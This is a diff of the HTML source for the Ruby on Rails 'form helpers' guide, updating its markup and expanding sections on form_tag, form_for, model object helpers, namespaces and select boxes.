-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Rails form helpers</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_basic_forms">Basic forms</a>
- <ul>
-
- <li><a href="#_generic_search_form">Generic search form</a></li>
-
- <li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li>
-
- <li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li>
-
- <li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a>
- <ul>
-
- <li><a href="#_relying_on_record_identification">Relying on record identification</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_making_select_boxes_with_ease">Making select boxes with ease</a>
- <ul>
-
- <li><a href="#_the_select_tag_and_options">The select tag and options</a></li>
-
- <li><a href="#_select_boxes_for_dealing_with_models">Select boxes for dealing with models</a></li>
-
- </ul>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails form helpers</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_basic_forms">Basic forms</a>
+ <ul>
+
+ <li><a href="#_generic_search_form">Generic search form</a></li>
+
+ <li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li>
+
+ <li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li>
+
+ <li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_different_families_of_helpers">Different Families of helpers</a>
+ <ul>
+
+ <li><a href="#_barebones_helpers">Barebones helpers</a></li>
+
+ <li><a href="#_model_object_helpers">Model object helpers</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a>
+ <ul>
+
+ <li><a href="#_relying_on_record_identification">Relying on record identification</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_making_select_boxes_with_ease">Making select boxes with ease</a>
+ <ul>
+
+ <li><a href="#_the_select_tag_and_options">The select tag and options</a></li>
+
+ <li><a href="#_select_boxes_for_dealing_with_models">Select boxes for dealing with models</a></li>
+
+ <li><a href="#_option_tags_from_a_collection_of_arbitrary_objects">Option tags from a collection of arbitrary objects</a></li>
+
+ <li><a href="#_time_zone_and_country_select">Time zone and country select</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_date_and_time_select_boxes">Date and time select boxes</a>
+ <ul>
+
+ <li><a href="#_barebones_helpers_2">Barebones helpers</a></li>
+
+ <li><a href="#_model_object_helpers_2">Model object helpers</a></li>
+
+ <li><a href="#_common_options">Common options</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_form_builders">Form builders</a>
+ <ul>
+
+ <li><a href="#_scoping_out_form_controls_with_tt_fields_for_tt">Scoping out form controls with <tt>fields_for</tt></a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_file_uploads">File Uploads</a>
+ <ul>
+
+ <li><a href="#_what_gets_uploaded">What gets uploaded</a></li>
+
+ <li><a href="#_dealing_with_ajax">Dealing with Ajax</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_parameter_names">Parameter Names</a>
+ <ul>
+
+ <li><a href="#_basic_structures">Basic structures</a></li>
+
+ <li><a href="#_combining_them">Combining them</a></li>
+
+ <li><a href="#_using_form_helpers">Using form helpers</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_complex_forms">Complex forms</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Rails form helpers</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
-<div class="para"><p>In this guide we will:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
+<div class="paragraph"><p>In this guide you will:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Create search forms and similar kind of generic forms not representing any specific model in your application;
@@ -260,11 +154,6 @@ Generate select boxes from multiple types of data;
Learn what makes a file upload form different;
</p>
</li>
-<li>
-<p>
-Build complex, multi-model forms.
-</p>
-</li>
</ul></div>
<div class="admonitionblock">
<table><tr>
@@ -278,16 +167,16 @@ Build complex, multi-model forms.
</div>
<h2 id="_basic_forms">1. Basic forms</h2>
<div class="sectionbody">
-<div class="para"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
+<div class="paragraph"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;% form_tag do %&gt;
Form contents
&lt;% end %&gt;</tt></pre>
</div></div>
-<div class="para"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
+<div class="paragraph"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
<div class="listingblock">
-<div class="title">Example: Sample rendering of <tt>form_tag</tt></div>
+<div class="title">Sample output from <tt>form_tag</tt></div>
<div class="content">
<pre><tt>&lt;form action="/home/index" method="post"&gt;
&lt;div style="margin:0;padding:0"&gt;
@@ -296,7 +185,7 @@ Build complex, multi-model forms.
Form contents
&lt;/form&gt;</tt></pre>
</div></div>
-<div class="para"><p>If you carefully observe this output, you can see that the helper generated something we didn't specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).</p></div>
+<div class="paragraph"><p>If you carefully observe this output, you can see that the helper generated something you didn&#8217;t specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn&#8217;t "GET" (provided that this security feature is enabled).</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -306,8 +195,8 @@ Build complex, multi-model forms.
</tr></table>
</div>
<h3 id="_generic_search_form">1.1. Generic search form</h3>
-<div class="para"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
-<div class="olist"><ol>
+<div class="paragraph"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
+<div class="olist arabic"><ol class="arabic">
<li>
<p>
a form element with "GET" method,
@@ -334,12 +223,12 @@ a submit element.
<td class="icon">
<img src="./images/icons/important.png" alt="Important" />
</td>
-<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.</td>
+<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and others.</td>
</tr></table>
</div>
-<div class="para"><p>To create that, we will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
+<div class="paragraph"><p>To create that, you will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
<div class="listingblock">
-<div class="title">Example: A basic search form</div>
+<div class="title">A basic search form</div>
<div class="content">
<pre><tt>&lt;% form_tag(search_path, :method =&gt; "get") do %&gt;
&lt;%= label_tag(:q, "Search for:") %&gt;
@@ -353,7 +242,7 @@ a submit element.
<img src="./images/icons/tip.png" alt="Tip" />
</td>
<td class="content">
-<div class="para"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
+<div class="paragraph"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>map.search "search", :controller =&gt; "search"</tt></pre>
@@ -361,9 +250,9 @@ a submit element.
</td>
</tr></table>
</div>
-<div class="para"><p>The above view code will result in the following markup:</p></div>
+<div class="paragraph"><p>The above view code will result in the following markup:</p></div>
<div class="listingblock">
-<div class="title">Example: Search form HTML</div>
+<div class="title">Search form HTML</div>
<div class="content">
<pre><tt>&lt;form action="/search" method="get"&gt;
&lt;label for="q"&gt;Search for:&lt;/label&gt;
@@ -371,32 +260,32 @@ a submit element.
&lt;input name="commit" type="submit" value="Search" /&gt;
&lt;/form&gt;</tt></pre>
</div></div>
-<div class="para"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
+<div class="paragraph"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
+<td class="content">For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
</tr></table>
</div>
<h3 id="_multiple_hashes_in_form_helper_attributes">1.2. Multiple hashes in form helper attributes</h3>
-<div class="para"><p>By now we've seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like <tt>:method</tt>).</p></div>
-<div class="para"><p>Identical to the <tt>link_to</tt> helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:</p></div>
+<div class="paragraph"><p>By now you&#8217;ve seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element&#8217;s class.</p></div>
+<div class="paragraph"><p>As with the &#8216;link_to` helper, the path argument doesn&#8217;t have to be given a string. It can be a hash of URL parameters that Rails&#8217; routing mechanism will turn into a valid URL. Still, you cannot simply write this:</p></div>
<div class="listingblock">
-<div class="title">Example: A bad way to pass multiple hashes as method arguments</div>
+<div class="title">A bad way to pass multiple hashes as method arguments</div>
<div class="content">
-<pre><tt>form_tag(:controller =&gt; "people", :action =&gt; "search", :method =&gt; "get")
-# =&gt; &lt;form action="/people/search?method=get" method="post"&gt;</tt></pre>
+<pre><tt>form_tag(:controller =&gt; "people", :action =&gt; "search", :method =&gt; "get", :class =&gt; "nifty_form")
+# =&gt; &lt;form action="/people/search?method=get&amp;class=nifty_form" method="post"&gt;</tt></pre>
</div></div>
-<div class="para"><p>Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
+<div class="paragraph"><p>Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
<div class="listingblock">
-<div class="title">Example: The correct way of passing multiple hashes as arguments</div>
+<div class="title">The correct way of passing multiple hashes as arguments</div>
<div class="content">
-<pre><tt>form_tag({:controller =&gt; "people", :action =&gt; "search"}, :method =&gt; "get")
-# =&gt; &lt;form action="/people/search" method="get"&gt;</tt></pre>
+<pre><tt>form_tag({:controller =&gt; "people", :action =&gt; "search"}, :method =&gt; "get", :class =&gt; "nifty_form")
+# =&gt; &lt;form action="/people/search" method="get" class="nifty_form"&gt;</tt></pre>
</div></div>
-<div class="para"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
+<div class="paragraph"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -406,7 +295,7 @@ a submit element.
</tr></table>
</div>
<h3 id="_checkboxes_radio_buttons_and_other_controls">1.3. Checkboxes, radio buttons and other controls</h3>
-<div class="para"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
+<div class="paragraph"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;%= check_box_tag(:pet_dog) %&gt;
@@ -421,7 +310,7 @@ output:
&lt;input id="pet_cat" name="pet_cat" type="checkbox" value="1" /&gt;
&lt;label for="pet_cat"&gt;I own a cat&lt;/label&gt;</tt></pre>
</div></div>
-<div class="para"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
+<div class="paragraph"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;%= radio_button_tag(:age, "child") %&gt;
@@ -444,7 +333,7 @@ output:
<td class="content">Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.</td>
</tr></table>
</div>
-<div class="para"><p>Other form controls we might mention are the text area, password input and hidden input:</p></div>
+<div class="paragraph"><p>Other form controls worth mentioning are the text area, password input and hidden input:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;%= text_area_tag(:message, "Hi, nice site", :size =&gt; "24x6") %&gt;
@@ -457,18 +346,18 @@ output:
&lt;input id="password" name="password" type="password" /&gt;
&lt;input id="parent_id" name="parent_id" type="hidden" value="5" /&gt;</tt></pre>
</div></div>
-<div class="para"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
+<div class="paragraph"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
+<td class="content">If you&#8217;re using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
</tr></table>
</div>
<h3 id="_how_do_forms_with_put_or_delete_methods_work">1.4. How do forms with PUT or DELETE methods work?</h3>
-<div class="para"><p>Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don't support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
-<div class="para"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"_method"</tt> that is set to reflect the wanted method:</p></div>
+<div class="paragraph"><p>Rails framework encourages RESTful design of your applications, which means you&#8217;ll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don&#8217;t support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
+<div class="paragraph"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"_method"</tt> that is set to reflect the desired method:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>form_tag(search_path, :method =&gt; "put")
@@ -482,38 +371,77 @@ output:
&lt;/div&gt;
...</tt></pre>
</div></div>
-<div class="para"><p>When parsing POSTed data, Rails will take into account the special <tt>"_method"</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
+<div class="paragraph"><p>When parsing POSTed data, Rails will take into account the special <tt>_method</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
+</div>
+<h2 id="_different_families_of_helpers">2. Different Families of helpers</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Most of Rails' form helpers are available in two forms.</p></div>
+<h3 id="_barebones_helpers">2.1. Barebones helpers</h3>
+<div class="paragraph"><p>These just generate the appropriate markup. These have names ending in _tag such as <tt>text_field_tag</tt>, <tt>check_box_tag</tt>. The first parameter to these is always the name of the input. This is the name under which value will appear in the <tt>params</tt> hash in the controller. For example if the form contains</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= text_field_tag(:query) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>then the controller code should use</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>params[:query]</tt></pre>
+</div></div>
+<div class="paragraph"><p>to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values appear at the top level of the params hash, inside an array or a nested hash and so on. You can read more about them in the <a href="#parameter_names">parameter names</a> section. For details on the precise usage of these helpers, please refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html">API documentation</a>.</p></div>
+<h3 id="_model_object_helpers">2.2. Model object helpers</h3>
+<div class="paragraph"><p>These are designed to work with a model object (commonly an Active Record object but this need not be the case). These lack the _tag suffix, for example <tt>text_field</tt>, <tt>text_area</tt>.</p></div>
+<div class="paragraph"><p>For these helpers the first arguement is the name of an instance variable and the second is the name a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined <tt>@person</tt> and that person&#8217;s name is Henry then a form containing:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= text_field(:person, :name) %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>will produce output similar to</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input id="person_name" name="person[name]" type="text" value="Henry"/&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Upon form submission the value entered by the user will be stored in <tt>params[:person][:name]</tt>. The <tt>params[:person]</tt> hash is suitable for passing to <tt>Person.new</tt> or, if <tt>@person</tt> is an instance of Person, <tt>@person.update_attributes</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">
+<div class="paragraph"><p>You must pass the name of an instance variable, i.e. <tt>:person</tt> or <tt>"person"</tt>, not an actual instance of your model object.</p></div>
+</td>
+</tr></table>
</div>
-<h2 id="_forms_that_deal_with_model_attributes">2. Forms that deal with model attributes</h2>
+</div>
+<h2 id="_forms_that_deal_with_model_attributes">3. Forms that deal with model attributes</h2>
<div class="sectionbody">
-<div class="para"><p>When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:</p></div>
+<div class="paragraph"><p>While the helpers seen so far are handy Rails can save you some work. For example typically a form is used to edit multiple attributes of a single object, so having to repeat the name of the object being edited is clumsy. The following examples will handle an Article model. First, have the controller create one:</p></div>
<div class="listingblock">
-<div class="title">Example: articles_controller.rb</div>
+<div class="title">articles_controller.rb</div>
<div class="content">
<pre><tt>def new
@article = Article.new
end</tt></pre>
</div></div>
-<div class="para"><p>Now we switch to the view. The first thing to remember is that we should use <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that we should pass the model name and object as arguments:</p></div>
+<div class="paragraph"><p>Now switch to the view. The first thing to remember is to use the <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that you should pass the model name and object as arguments:</p></div>
<div class="listingblock">
-<div class="title">Example: articles/new.html.erb</div>
+<div class="title">articles/new.html.erb</div>
<div class="content">
-<pre><tt>&lt;% form_for :article, @article, :url =&gt; { :action =&gt; "create" } do |f| %&gt;
+<pre><tt>&lt;% form_for :article, @article, :url =&gt; { :action =&gt; "create" }, :html =&gt; {:class =&gt; "nifty_form"} do |f| %&gt;
&lt;%= f.text_field :title %&gt;
&lt;%= f.text_area :body, :size =&gt; "60x12" %&gt;
&lt;%= submit_tag "Create" %&gt;
&lt;% end %&gt;</tt></pre>
</div></div>
-<div class="para"><p>There are a few things to note here:</p></div>
-<div class="olist"><ol>
+<div class="paragraph"><p>There are a few things to note here:</p></div>
+<div class="olist arabic"><ol class="arabic">
<li>
<p>
-<tt>:article</tt> is the name of the model and <tt>@article</tt> is our record.
+<tt>:article</tt> is the name of the model and <tt>@article</tt> is the record.
</p>
</li>
<li>
<p>
-The URL for the action attribute is passed as a parameter named <tt>:url</tt>.
+There is a single hash of options. Routing options are passed inside <tt>:url</tt> hash, HTML options are passed in the <tt>:html</tt> hash.
</p>
</li>
<li>
@@ -523,32 +451,24 @@ The <tt>form_for</tt> method yields <strong>a form builder</strong> object (the
</li>
<li>
<p>
-Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt> and <strong>without</strong> the <tt>"_tag"</tt> suffix (so <tt>text_field_tag</tt> becomes <tt>f.text_field</tt>).
+Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt>
</p>
</li>
</ol></div>
-<div class="para"><p>The resulting HTML is:</p></div>
+<div class="paragraph"><p>The resulting HTML is:</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>&lt;form action="/articles/create" method="post"&gt;
+<pre><tt>&lt;form action="/articles/create" method="post" class="nifty_form"&gt;
&lt;input id="article_title" name="article[title]" size="30" type="text" /&gt;
&lt;textarea id="article_body" name="article[body]" cols="60" rows="12"&gt;&lt;/textarea&gt;
&lt;input name="commit" type="submit" value="Create" /&gt;
&lt;/form&gt;</tt></pre>
</div></div>
-<div class="para"><p>A nice thing about <tt>f.text_field</tt> and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@article = Article.new(:title =&gt; "Rails makes forms easy")</tt></pre>
-</div></div>
-<div class="para"><p>&#8230; the corresponding input will be rendered with a value:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" /&gt;</tt></pre>
-</div></div>
-<h3 id="_relying_on_record_identification">2.1. Relying on record identification</h3>
-<div class="para"><p>In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it <strong>a resource</strong>.</p></div>
-<div class="para"><p>When dealing with RESTful resources, our calls to <tt>form_for</tt> can get significantly easier if we rely on <strong>record identification</strong>. In short, we can just pass the model instance and have Rails figure out model name and the rest:</p></div>
+<div class="paragraph"><p>The name passed to <tt>form_for</tt> controls where in the params hash the form values will appear. Here the name is <tt>article</tt> and so all the inputs have names of the form <tt>article[attribute_name]</tt>. Accordingly, in the <tt>create</tt> action <tt>params[:article]</tt> will be a hash with keys <tt>:title</tt> and <tt>:body</tt>. You can read more about the significance of input names in the <a href="#parameter_names">parameter names</a> section.</p></div>
+<div class="paragraph"><p>The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.</p></div>
+<h3 id="_relying_on_record_identification">3.1. Relying on record identification</h3>
+<div class="paragraph"><p>In the previous chapter you handled the Article model. This model is directly available to users of our application, so&#8201;&#8212;&#8201;following the best practices for developing with Rails&#8201;&#8212;&#8201;you should declare it <strong>a resource</strong>.</p></div>
+<div class="paragraph"><p>When dealing with RESTful resources, calls to <tt>form_for</tt> can get significantly easier if you rely on <strong>record identification</strong>. In short, you can just pass the model instance and have Rails figure out model name and the rest:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>## Creating a new article
@@ -563,20 +483,33 @@ form_for(:article, @article, :url =&gt; article_path(@article), :method =&gt; "p
# short-style:
form_for(@article)</tt></pre>
</div></div>
-<div class="para"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>.</p></div>
+<div class="paragraph"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>. It also selects the correct path to submit to and the name based on the class of the object.</p></div>
+<div class="paragraph"><p>Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class <tt>new_article</tt>. If you were editing the article with id 23 the class would be set to <tt>edit_article</tt> and the id to <tt>edit_article_23</tt>. The attributes will be omitted or brevity in the rest of this guide.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/warning.png" alt="Warning" />
</td>
-<td class="content">When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
+<td class="content">When you&#8217;re using STI (single-table inheritance) with your models, you can&#8217;t rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
</tr></table>
</div>
+<h4 id="_dealing_with_namespaces">3.1.1. Dealing with namespaces</h4>
+<div class="paragraph"><p>If you have created namespaced routes <tt>form_for</tt> has a nifty shorthand for that too. If your application has an admin namespace then</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>form_for [:admin, @article]</tt></pre>
+</div></div>
+<div class="paragraph"><p>will create a form that submits to the articles controller inside the admin namespace (submitting to <tt>admin_article_path(@article)</tt> in the case of an update). If you have several levels of namespacing then the syntax is similar:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>form_for [:admin, :management, @article]</tt></pre>
+</div></div>
+<div class="paragraph"><p>For more information on Rails' routing system and the associated conventions, please see the <a href="../routing_outside_in.html">routing guide</a>.</p></div>
</div>
-<h2 id="_making_select_boxes_with_ease">3. Making select boxes with ease</h2>
+<h2 id="_making_select_boxes_with_ease">4. Making select boxes with ease</h2>
<div class="sectionbody">
-<div class="para"><p>Select boxes in HTML require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.</p></div>
-<div class="para"><p>Here is what our wanted markup might look like:</p></div>
+<div class="paragraph"><p>Select boxes in HTML require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.</p></div>
+<div class="paragraph"><p>Here is what our wanted markup might look like:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;select name="city_id" id="city_id"&gt;
@@ -586,15 +519,14 @@ form_for(@article)</tt></pre>
&lt;option value="12"&gt;Berlin&lt;/option&gt;
&lt;/select&gt;</tt></pre>
</div></div>
-<div class="para"><p>Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.</p></div>
-<h3 id="_the_select_tag_and_options">3.1. The select tag and options</h3>
-<div class="para"><p>The most generic helper is <tt>select_tag</tt>, which &#8212; as the name implies &#8212; simply generates the <tt>SELECT</tt> tag that encapsulates the options:</p></div>
+<div class="paragraph"><p>Here you have a list of cities where their names are presented to the user, but internally the application only wants to handle their IDs so they are used as the options' value attributes. Let&#8217;s see how Rails can help out here.</p></div>
+<h3 id="_the_select_tag_and_options">4.1. The select tag and options</h3>
+<div class="paragraph"><p>The most generic helper is <tt>select_tag</tt>, which&#8201;&#8212;&#8201;as the name implies&#8201;&#8212;&#8201;simply generates the <tt>SELECT</tt> tag that encapsulates an options string:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;%= select_tag(:city_id, '&lt;option value="1"&gt;Lisabon&lt;/option&gt;...') %&gt;</tt></pre>
</div></div>
-<div class="para"><p>This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.</p></div>
-<div class="para"><p>We can generate option tags with the <tt>options_for_select</tt> helper:</p></div>
+<div class="paragraph"><p>This is a start, but it doesn&#8217;t dynamically create our option tags. You can generate option tags with the <tt>options_for_select</tt> helper:</p></div>
<div class="listingblock">
<div class="content">
